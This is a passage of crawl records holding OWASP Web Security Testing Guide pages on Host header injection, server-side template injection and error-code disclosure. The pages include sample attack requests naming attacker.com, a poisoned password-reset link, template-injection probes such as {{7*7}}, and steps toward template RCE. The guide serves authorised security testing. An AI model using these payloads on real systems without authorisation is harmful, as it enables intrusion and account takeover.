"https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/07-Input_Validation_Testing/17-Testing_for_Host_Header_Injection", "titulek": "WSTG - v4.1 | OWASP Foundation", "h1": "WSTG - v4.1", "popis": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/07-Input_Validation_Testing/17-Testing_for_Host_Header_Injection", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.1 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/07-Input_Validation_Testing/17-Testing_for_Host_Header_Injection", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "WSTG - v4.1"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "Web Cache Poisoning"}, {"uroven": 3, "text": "Password Reset Poisoning"}, {"uroven": 2, "text": "References"}], "markdown": "# WSTG - v4.1\n\n| ID |\n| --- |\n| WSTG-INPV-17 |\n\n## Summary\n\nA web server commonly hosts several web applications on the same IP address, referring to each application via the virtual host. In an incoming HTTP request, web servers often dispatch the request to the target virtual host based on the value supplied in the Host header. Without proper validation of the header value, the attacker can supply invalid input to cause the web server to:\n\n- dispatch requests to the first virtual host on the list\n- cause a redirect to an attacker-controlled domain\n- perform web cache poisoning\n- manipulate password reset functionality\n\n## How to Test\n\nInitial testing is as simple as supplying another domain (i.e. `attacker.com`) into the Host header field. It is how the web server processes the header value that dictates the impact. The attack is valid when the web server processes the input to send the request to an attacker-controlled host that resides at the supplied domain, and not to an internal virtual host that resides on the web server.\n\n```\nGET / HTTP/1.1\nHost: www.attacker.com\nCache-Control: max-age=0\nConnection: Keep-alive\nAccept-Encoding: gzip, deflate, br\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.103 Safari/537.36\n```\n\nIn the simplest case, this may cause a 302 redirect to the supplied domain.\n\n```\nHTTP/1.1 302 Found\n...\nLocation: http://www.attacker.com/login.php\n```\n\nAlternatively, the web server may send the request to the first virtual host on the list.\n\nIn the event that Host header injection is mitigated by checking for invalid input injected via the Host header, you can supply the value to the `X-Forwarded-Host` header.\n\n```\nGET / HTTP/1.1\nHost: www.example.com\nX-Forwarded-Host: www.attacker.com\n...\n```\n\nPotentially producing client-side output such as:\n\n```\n...\n\n...\n```\n\nOnce again, this depends on how the web server processes the header value.\n\n### Web Cache Poisoning\n\nUsing this technique, an attacker can manipulate a web-cache to serve poisoned content to anyone who requests it. This relies on the ability to poison the caching proxy run by the application itself, CDNs, or other downstream providers. As a result, the victim will have no control over receiving the malicious content when requesting the vulnerable application.\n\n```\nGET / HTTP/1.1\nHost: www.attacker.com\n...\n```\n\nThe following will be served from the web cache, when a victim visits the vulnerable application.\n\n```\n...\n\n...\n```\n\n### Password Reset Poisoning\n\nIt is common for password reset functionality to include the Host header value when creating password reset links that use a generated secret token. If the application processes an attacker-controlled domain to create a password reset link, the victim may click on the link in the email and allow the attacker to obtain the reset token, thus resetting the victim’s password.\n\n```\n... Email snippet ...\n\nClick on the following link to reset your password:\n\nhttp://www.attacker.com/index.php?module=Login&action=resetPassword&token=\n\n... Email snippet ...\n```\n\n## References\n\n- [What is a Host Header Attack?](https://www.acunetix.com/blog/articles/automated-detection-of-host-header-attacks/)\n- [Host Header Attack](https://www.briskinfosec.com/blogs/blogsdetail/Host-Header-Attack)\n- [Practical HTTP Host Header Attacks](https://www.skeletonscribe.net/2013/05/practical-http-host-header-attacks.html)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 3545, "slov": 503, "odkazu": 178, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 13:44:10", "sha256": "f2e7a298b538d98cc0a7c38aa81518d8bdeb8ac985b878e084097f330b37a8b2", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://www.acunetix.com/blog/articles/automated-detection-of-host-header-attacks/", "https://www.briskinfosec.com/blogs/blogsdetail/Host-Header-Attack", "https://www.skeletonscribe.net/2013/05/practical-http-host-header-attacks.html", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/07-Input_Validation_Testing/18-Testing_for_Server_Side_Template_Injection", "titulek": "WSTG - v4.1 | OWASP Foundation", "h1": "WSTG - v4.1", "popis": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/07-Input_Validation_Testing/18-Testing_for_Server_Side_Template_Injection", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.1 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/07-Input_Validation_Testing/18-Testing_for_Server_Side_Template_Injection", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "WSTG - v4.1"}, {"uroven": 1, "text": "Testing for Server Side Template Injection"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "Example - Twig"}, {"uroven": 2, "text": "Example - Flask/Jinja2"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "Identify Template Injection Vulnerability"}, {"uroven": 3, "text": "Identify the Templating Engine"}, {"uroven": 3, "text": "Build the RCE Exploit"}, {"uroven": 2, "text": "References"}, {"uroven": 2, "text": "Tools"}], "markdown": "# WSTG - v4.1\n\n# Testing for Server Side Template Injection\n\n| ID |\n| --- |\n| WSTG-INPV-18 |\n\n## Summary\n\nWeb applications commonly use server side templating technologies (Jinja2, Twig, FreeMaker, etc.) to generate dynamic HTML responses. Server Side Template Injection vulnerabilities (SSTI) occur when user input is embedded in a template in an unsafe manner and results in remote code execution on the server. Any features that support advanced user-supplied markup may be vulnerable to SSTI including wiki-pages, reviews, marketing applications, CMS systems etc. Some template engines employ various mechanisms (eg. sandbox, whitelisting, etc.) to protect against SSTI.\n\n## Example - Twig\n\nThe following example is an excerpt from the [Extreme Vulnerable Web Application](https://github.com/s4n7h0/xvwa) project.\n\n```\npublic function getFilter($name) { [snip] foreach ($this->filterCallbacks as $callback) { if (false !== $filter = call_user_func($callback, $name)) { return $filter; } } return false; } \n```\n\nIn the getFilter function the `call_user_func($callback, $name)` is vulnerable to SSTI: the `name` parameter is fetched from the HTTP GET request and executed by the server:\n\n*Figure 4.7.18-1: SSTI XVWA Example*\n\n## Example - Flask/Jinja2\n\nThe following example uses Flask and Jinja2 templating engine. The `page` function accepts a ‘name’ parameter from an HTTP GET request and renders an HTML response with the `name` variable content:\n\n```\n@app.route(\"/page\") def page(): name = request.values.get('name') output = Jinja2.from_string('Hello ' + name + '!').render() return output \n```\n\nThis code snippet is vulnerable to XSS but it is also vulnerable to SSTI. Using the following as a payload in the `name` parameter:\n\n```\n$ curl -g 'http://www.target.com/page?name={{7*7}}'\nHello 49!\n```\n\n## How to Test\n\nSSTI vulnerabilities exist either in text or code context. In plaintext context users allowed to use freeform ‘text’ with direct HTML code. In code context the user input may also be placed within a template statement (eg. in a variable name). In both cases the testing methodology has the following steps:\n\n1. Detect template injection vulnerability points\n2. Identify the templating engine\n3. Build the exploit\n\n### Identify Template Injection Vulnerability\n\nThe first step in testing SSTI in plaintext context is to construct common template expressions used by various template engines as payloads and monitor server responses to identify which template expression was executed by the server.\n\nCommon template expression examples:\n\n```\na{{bar}}b\na{{7*7}}\n{var} ${var} {{var}} <%var%> [% var %]\n```\n\nIn this step an extensive [template expression test strings/payloads list](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection) is recommended.\n\nTesting for SSTI in code context is slightly different. First, the tester constructs the request that result either blank or error server responses. In the example below the HTTP GET parameter is inserted info the variable `personal_greeting` in a template statement:\n\n```\npersonal_greeting=username\nHello user01\n```\n\nUsing the following payload - the server response is blank “Hello”:\n\n```\npersonal_greeting=username\nHello\n```\n\nIn the next step is to break out of the template statement and injecting HTML tag after it using the following payload\n\n```\npersonal_greeting=username}}\nHello user01 \n```\n\n### Identify the Templating Engine\n\nBased on the information from the previous step now the tester has to identify which template engine is used by supplying various template expressions. Based on the server responses the tester deduces the template engine used. This manual approach is discussed in greater detail in [this](https://portswigger.net/blog/server-side-template-injection?#Identify) PortSwigger article. To automate the identification of the SSTI vulnerability and the templating engine various tools are available including [Tplmap](https://github.com/epinna/tplmap) or the [Backslash Powered Scanner Burp Suite extension](https://github.com/PortSwigger/backslash-powered-scanner).\n\n### Build the RCE Exploit\n\nThe main goal in this step is to identify to gain further control on the server with an RCE exploit by studying the template documentation and research. Key areas of interest are:\n\n- **For template authors** sections covering basic syntax.\n- **Security considerations** sections.\n- Lists of builtin methods, functions, filters, and variables.\n- Lists of extensions/plugins.\n\nThe tester can also identify what other objects, methods and properties can be exposed by focusing on the `self` object. If the `self` object is not available and the documentation does not reveal the technical details, a brute force of the variable name is recommended. Once the object is identified the next step is to loop through the object to identify all the methods, properties and attributes that are accessible through the template engine. This could lead to other kinds of security findings including privilege escalations, information disclosure about application passwords, API keys, configurations and environment variables, etc.\n\n## References\n\n1. [James Kettle: Server-Side Template Injection:RCE for the modern webapp (whitepaper)](https://portswigger.net/kb/papers/serversidetemplateinjection.pdf)\n2. [Server-Side Template Injection](https://portswigger.net/blog/server-side-template-injection)\n3. [Exploring SSTI in Flask/Jinja2](https://www.lanmaster53.com/2016/03/exploring-ssti-flask-jinja2/)\n4. [Server Side Template Injection: from detection to Remote shell](https://www.okiok.com/server-side-template-injection-from-detection-to-remote-shell/)\n5. [Extreme Vulnerable Web Application](https://github.com/s4n7h0/xvwa)\n6. [Divine Selorm Tsa: Exploiting server side template injection with tplmap](https://owasp.org/www-pdf-archive/Owasp_SSTI_final.pdf)\n\n## Tools\n\n1. [Tplmap](https://github.com/epinna/tplmap)\n2. [Backslash Powered Scanner Burp Suite extension](https://github.com/PortSwigger/backslash-powered-scanner)\n3. [Template expression test strings/payloads list](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 6183, "slov": 788, "odkazu": 185, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 13:44:11", "sha256": "40c170fa3ecff90c716caef09400b3247283d9ca913293f4f52dace391b146b8", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://github.com/s4n7h0/xvwa", "https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection", "https://portswigger.net/blog/server-side-template-injection", "https://github.com/epinna/tplmap", "https://github.com/PortSwigger/backslash-powered-scanner", "https://portswigger.net/kb/papers/serversidetemplateinjection.pdf", "https://www.lanmaster53.com/2016/03/exploring-ssti-flask-jinja2/", "https://www.okiok.com/server-side-template-injection-from-detection-to-remote-shell/", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/07-Input_Validation_Testing/README", "titulek": "WSTG - v4.1 | OWASP Foundation", "h1": "WSTG - v4.1", "popis": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/07-Input_Validation_Testing/README", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.1 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/07-Input_Validation_Testing/README", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "WSTG - v4.1"}, {"uroven": 1, "text": "4.7 Input Validation Testing"}], "markdown": "# WSTG - v4.1\n\n# 4.7 Input Validation Testing\n\n4.7.1 [Testing for Reflected Cross Site Scripting](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/07-Input_Validation_Testing/01-Testing_for_Reflected_Cross_Site_Scripting)\n\n4.7.2 [Testing for Stored Cross Site Scripting](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/07-Input_Validation_Testing/02-Testing_for_Stored_Cross_Site_Scripting)\n\n4.7.3 [Testing for HTTP Verb Tampering](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/07-Input_Validation_Testing/03-Testing_for_HTTP_Verb_Tampering)\n\n4.7.4 [Testing for HTTP Parameter Pollution](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/07-Input_Validation_Testing/04-Testing_for_HTTP_Parameter_Pollution)\n\n4.7.5 [Testing for SQL Injection](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/07-Input_Validation_Testing/05-Testing_for_SQL_Injection)\n\n- 4.7.5.1 [Testing for Oracle](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/07-Input_Validation_Testing/05.1-Testing_for_Oracle)\n- 4.7.5.2 [Testing for MySQL](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/07-Input_Validation_Testing/05.2-Testing_for_MySQL)\n- 4.7.5.3 [Testing for SQL Server](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/07-Input_Validation_Testing/05.3-Testing_for_SQL_Server)\n- 4.7.5.4 [Testing PostgreSQL](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/07-Input_Validation_Testing/05.4-Testing_PostgreSQL)\n- 4.7.5.5 [Testing for MS Access](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/07-Input_Validation_Testing/05.5-Testing_for_MS_Access)\n- 4.7.5.6 [Testing for NoSQL Injection](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/07-Input_Validation_Testing/05.6-Testing_for_NoSQL_Injection)\n- 4.7.5.7 [Testing for ORM Injection](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/07-Input_Validation_Testing/05.7-Testing_for_ORM_Injection)\n- 4.7.5.8 [Testing for Client Side](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/07-Input_Validation_Testing/05.8-Testing_for_Client_Side)\n\n4.7.6 [Testing for LDAP Injection](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/07-Input_Validation_Testing/06-Testing_for_LDAP_Injection)\n\n4.7.7 [Testing for XML Injection](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/07-Input_Validation_Testing/07-Testing_for_XML_Injection)\n\n4.7.8 [Testing for SSI Injection](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/07-Input_Validation_Testing/08-Testing_for_SSI_Injection)\n\n4.7.9 [Testing for XPath Injection](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/07-Input_Validation_Testing/09-Testing_for_XPath_Injection)\n\n4.7.10 [Testing for IMAP SMTP Injection](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/07-Input_Validation_Testing/10-Testing_for_IMAP_SMTP_Injection)\n\n4.7.11 [Testing for Code Injection](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/07-Input_Validation_Testing/11-Testing_for_Code_Injection)\n\n- 4.7.11.1 [Testing for Local File Inclusion](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/07-Input_Validation_Testing/11.1-Testing_for_Local_File_Inclusion)\n- 4.7.11.2 [Testing for Remote File Inclusion](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/07-Input_Validation_Testing/11.2-Testing_for_Remote_File_Inclusion)\n\n4.7.12 [Testing for Command Injection](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/07-Input_Validation_Testing/12-Testing_for_Command_Injection)\n\n4.7.13 [Testing for Buffer Overflow](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/07-Input_Validation_Testing/13-Testing_for_Buffer_Overflow)\n\n- 4.7.13.1 [Testing for Heap Overflow](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/07-Input_Validation_Testing/13.1-Testing_for_Heap_Overflow)\n- 4.7.13.2 [Testing for Stack Overflow](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/07-Input_Validation_Testing/13.2-Testing_for_Stack_Overflow)\n- 4.7.13.3 [Testing for Format String](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/07-Input_Validation_Testing/13.3-Testing_for_Format_String)\n\n4.7.14 [Testing for Incubated Vulnerability](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/07-Input_Validation_Testing/14-Testing_for_Incubated_Vulnerability)\n\n4.7.15 [Testing for HTTP Splitting Smuggling](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/07-Input_Validation_Testing/15-Testing_for_HTTP_Splitting_Smuggling)\n\n4.7.16 [Testing for HTTP Incoming Requests](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/07-Input_Validation_Testing/16-Testing_for_HTTP_Incoming_Requests)\n\n4.7.17 [Testing for Host Header Injection](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/07-Input_Validation_Testing/17-Testing_for_Host_Header_Injection)\n\n4.7.18 [Testing for Server Side Template Injection](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/07-Input_Validation_Testing/18-Testing_for_Server_Side_Template_Injection)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 5723, "slov": 421, "odkazu": 175, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 13:43:39", "sha256": "c511939ea5688f922f9ca15ee9a86c7430bbb70ea141320d904d348b350fe5d4", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/08-Testing_for_Error_Handling/01-Testing_for_Error_Code", "titulek": "WSTG - v4.1 | OWASP Foundation", "h1": "WSTG - v4.1", "popis": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/08-Testing_for_Error_Handling/01-Testing_for_Error_Code", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.1 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/08-Testing_for_Error_Handling/01-Testing_for_Error_Code", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "WSTG - v4.1"}, {"uroven": 1, "text": "Testing for Error Code"}, {"uroven": 2, "text": "Summary"}, {"uroven": 3, "text": "Web Server Errors"}, {"uroven": 3, "text": "Application Server Errors"}, {"uroven": 3, "text": "Database Errors"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "Examples"}, {"uroven": 4, "text": "Test 404 Not Found"}, {"uroven": 4, "text": "Test"}, {"uroven": 4, "text": "Test"}, {"uroven": 4, "text": "Test: 400 Bad Request"}, {"uroven": 4, "text": "Test: 405 Method Not Allowed"}, {"uroven": 4, "text": "Test: 408 Request Time-out"}, {"uroven": 4, "text": "Test: 501 Method Not Implemented"}, {"uroven": 4, "text": "Test"}, {"uroven": 2, "text": "Tools"}, {"uroven": 2, "text": "References"}, {"uroven": 2, "text": "Remediation"}, {"uroven": 3, "text": "Error Handling in IIS and ASP .net"}, {"uroven": 4, "text": "Handling Errors Using Web.Config"}, {"uroven": 4, "text": "Handling Errors in Global.asax"}, {"uroven": 4, "text": "Handling Errors in Page_Error Sub"}, {"uroven": 4, "text": "Error Hierarchy in ASP .net"}, {"uroven": 4, "text": "How to Test for ASP.net and IIS Error Handling"}, {"uroven": 3, "text": "Error Handling in Apache"}, {"uroven": 3, "text": "Error Handling in Tomcat"}], "markdown": "# WSTG - v4.1\n\n# Testing for Error Code\n\n| ID |\n| --- |\n| WSTG-ERRH-01 |\n\n## Summary\n\nOften, during a penetration test on web applications, we come up against many error codes generated from applications or web servers. It’s possible to cause these errors to be displayed by using a particular requests, either specially crafted with tools or created manually. These codes are very useful to penetration testers during their activities, because they reveal a lot of information about databases, bugs, and other technological components directly linked with web applications.\n\nThis section analyses the more common codes (error messages) and bring into focus their relevance during a vulnerability assessment. The most important aspect for this activity is to focus one’s attention on these errors, seeing them as a collection of information that will aid in the next steps of our analysis. A good collection can facilitate assessment efficiency by decreasing the overall time taken to perform the penetration test.\n\nAttackers sometimes use search engines to locate errors that disclose information. Searches can be performed to find any erroneous sites as random victims, or it is possible to search for errors in a specific site using the search engine filtering tools as described in [4.2.1 Conduct Search Engine Discovery and Reconnaissance for Information Leakage](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/01-Information_Gathering/01-Conduct_Search_Engine_Discovery_Reconnaissance_for_Information_Leakage)\n\n### Web Server Errors\n\nA common error that we can see during testing is the HTTP 404 Not Found. Often this error code provides useful details about the underlying web server and associated components. For example:\n\n```\nNot Found\nThe requested URL /page.html was not found on this server.\nApache/2.2.3 (Unix) mod_ssl/2.2.3 OpenSSL/0.9.7g DAV/2 PHP/5.1.2 Server at localhost Port 80\n```\n\nThis error message can be generated by requesting a non-existent URL. After the common message that shows a page not found, there is information about web server version, OS, modules and other products used. This information can be very important from an OS and application type and version identification point of view.\n\nOther HTTP response codes such as 400 Bad Request, 405 Method Not Allowed, 501 Method Not Implemented, 408 Request Time-out and 505 HTTP Version Not Supported can be forced by an attacker. When receiving specially crafted requests, web servers may provide one of these error codes depending on their HTTP implementation.\n\nTesting for disclosed information in the Web Server error codes is related testing for information disclosed in the HTTP headers as described in the section [Fingerprint Web Server](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/01-Information_Gathering/02-Fingerprint_Web_Server).\n\n### Application Server Errors\n\nApplication errors are returned by the application itself, rather than the web server. These could be error messages from framework code (ASP, JSP etc.) or they could be specific errors returned by the application code. Detailed application errors typically provide information of server paths, installed libraries and application versions.\n\n### Database Errors\n\nDatabase errors are those returned by the Database System when there is a problem with the query or the connection. Each Database system, such as MySQL, Oracle or MSSQL, has their own set of errors. Those errors can provide sensible information such as Database server IPs, tables, columns and login details.\n\nIn addition, there are many SQL Injection exploitation techniques that utilize detailed error messages from the database driver, for in depth information on this issue see [Testing for SQL Injection](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/07-Input_Validation_Testing/05-Testing_for_SQL_Injection) for more information.\n\nWeb server errors aren’t the only useful output returned requiring security analysis. Consider the next example error message:\n\n```\nMicrosoft OLE DB Provider for ODBC Drivers (0x80004005)\n[DBNETLIB][ConnectionOpen(Connect())] - SQL server does not exist or access denied\n```\n\nWhat happened? We will explain step-by-step below.\n\nIn this example, the 80004005 is a generic IIS error code which indicates that it could not establish a connection to its associated database. In many cases, the error message will detail the type of the database. This will often indicate the underlying operating system by association. With this information, the penetration tester can plan an appropriate strategy for the security test.\n\nBy manipulating the variables that are passed to the database connect string, we can invoke more detailed errors.\n\n```\nMicrosoft OLE DB Provider for ODBC Drivers error '80004005'\n[Microsoft][ODBC Access 97 ODBC driver Driver]General error Unable to open registry key 'DriverId'\n```\n\nIn this example, we can see a generic error in the same situation which reveals the type and version of the associated database system and a dependence on Windows operating system registry key values.\n\nNow we will look at a practical example with a security test against a web application that loses its link to its database server and does not handle the exception in a controlled manner. This could be caused by a database name resolution issue, processing of unexpected variable values, or other network problems.\n\nConsider the scenario where we have a database administration web portal, which can be used as a front end GUI to issue database queries, create tables, and modify database fields. During the POST of the logon credentials, the following error message is presented to the penetration tester. The message indicates the presence of a MySQL database server:\n\n```\nMicrosoft OLE DB Provider for ODBC Drivers (0x80004005)\n[MySQL][ODBC 3.51 Driver]Unknown MySQL server host\n```\n\nIf we see in the HTML code of the logon page the presence of a **hidden field** with a database IP, we can try to change this value in the URL with the address of database server under the penetration tester’s control in an attempt to fool the application into thinking that the logon was successful.\n\nAnother example: knowing the database server that services a web application, we can take advantage of this information to carry out a SQL Injection for that kind of database or a persistent XSS test.\n\n## How to Test\n\nBelow are some examples of testing for detailed error messages returned to the user. Each of the below examples has specific information about the operating system, application version, etc.\n\n### Examples\n\n#### Test 404 Not Found\n\n```\ntelnet 80\nGET / HTTP/1.1\nhost: \n\n```\n\n```\nHTTP/1.1 404 Not Found Date: Sat, 04 Nov 2006 15:26:48 GMT Server: Apache/2.2.3 (Unix) mod_ssl/2.2.3 OpenSSL/0.9.7g Content-Length: 310 Connection: close Content-Type: text/html; charset=iso-8859-1 ... 404 Not Found ...
Apache/2.2.3 (Unix) mod_ssl/2.2.3 OpenSSL/0.9.7g at Port 80
... \n```\n\n#### Test\n\n```\nNetwork problems leading to the application being unable to access the database server\n```\n\n```\nMicrosoft OLE DB Provider for ODBC Drivers (0x80004005) '\n[MySQL][ODBC 3.51 Driver]Unknown MySQL server host\n```\n\n#### Test\n\n```\nAuthentication failure due to missing credentials\n```\n\nFirewall version used for authentication:\n\n```\nError 407\nFW-1 at : Unauthorized to access the document.\n• Authorization is needed for FW-1.\n• The authentication required by FW-1 is: unknown.\n• Reason for failure of last attempt: no user\n```\n\n#### Test: 400 Bad Request\n\n```\ntelnet 80\nGET / HTTP/1.1 \n```\n\n```\nHTTP/1.1 400 Bad Request Date: Fri, 06 Dec 2013 23:57:53 GMT Server: Apache/2.2.22 (Ubuntu) PHP/5.3.10-1ubuntu3.9 with Suhosin-Patch Vary: Accept-Encoding Content-Length: 301 Connection: close Content-Type: text/html; charset=iso-8859-1 ... 400 Bad Request ...
Apache/2.2.22 (Ubuntu) PHP/5.3.10-1ubuntu3.9 with Suhosin-Patch at 127.0.1.1 Port 80
... \n```\n\n#### Test: 405 Method Not Allowed\n\n```\ntelnet 80\nPUT /index.html HTTP/1.1 Host: \n```\n\n```\nHTTP/1.1 405 Method Not Allowed Date: Fri, 07 Dec 2013 00:48:57 GMT Server: Apache/2.2.22 (Ubuntu) PHP/5.3.10-1ubuntu3.9 with Suhosin-Patch Allow: GET, HEAD, POST, OPTIONS Vary: Accept-Encoding Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1 ... 405 Method Not Allowed ...
Apache/2.2.22 (Ubuntu) PHP/5.3.10-1ubuntu3.9 with Suhosin-Patch at Port 80
... \n```\n\n#### Test: 408 Request Time-out\n\n```\ntelnet 80\nGET / HTTP/1.1 - Wait X seconds – (Depending on the target server, 21 seconds for Apache by default) \n```\n\n```\nHTTP/1.1 408 Request Time-out Date: Fri, 07 Dec 2013 00:58:33 GMT Server: Apache/2.2.22 (Ubuntu) PHP/5.3.10-1ubuntu3.9 with Suhosin-Patch Vary: Accept-Encoding Content-Length: 298 Connection: close Content-Type: text/html; charset=iso-8859-1 ... 408 Request Time-out ...
Apache/2.2.22 (Ubuntu) PHP/5.3.10-1ubuntu3.9 with Suhosin-Patch at Port 80
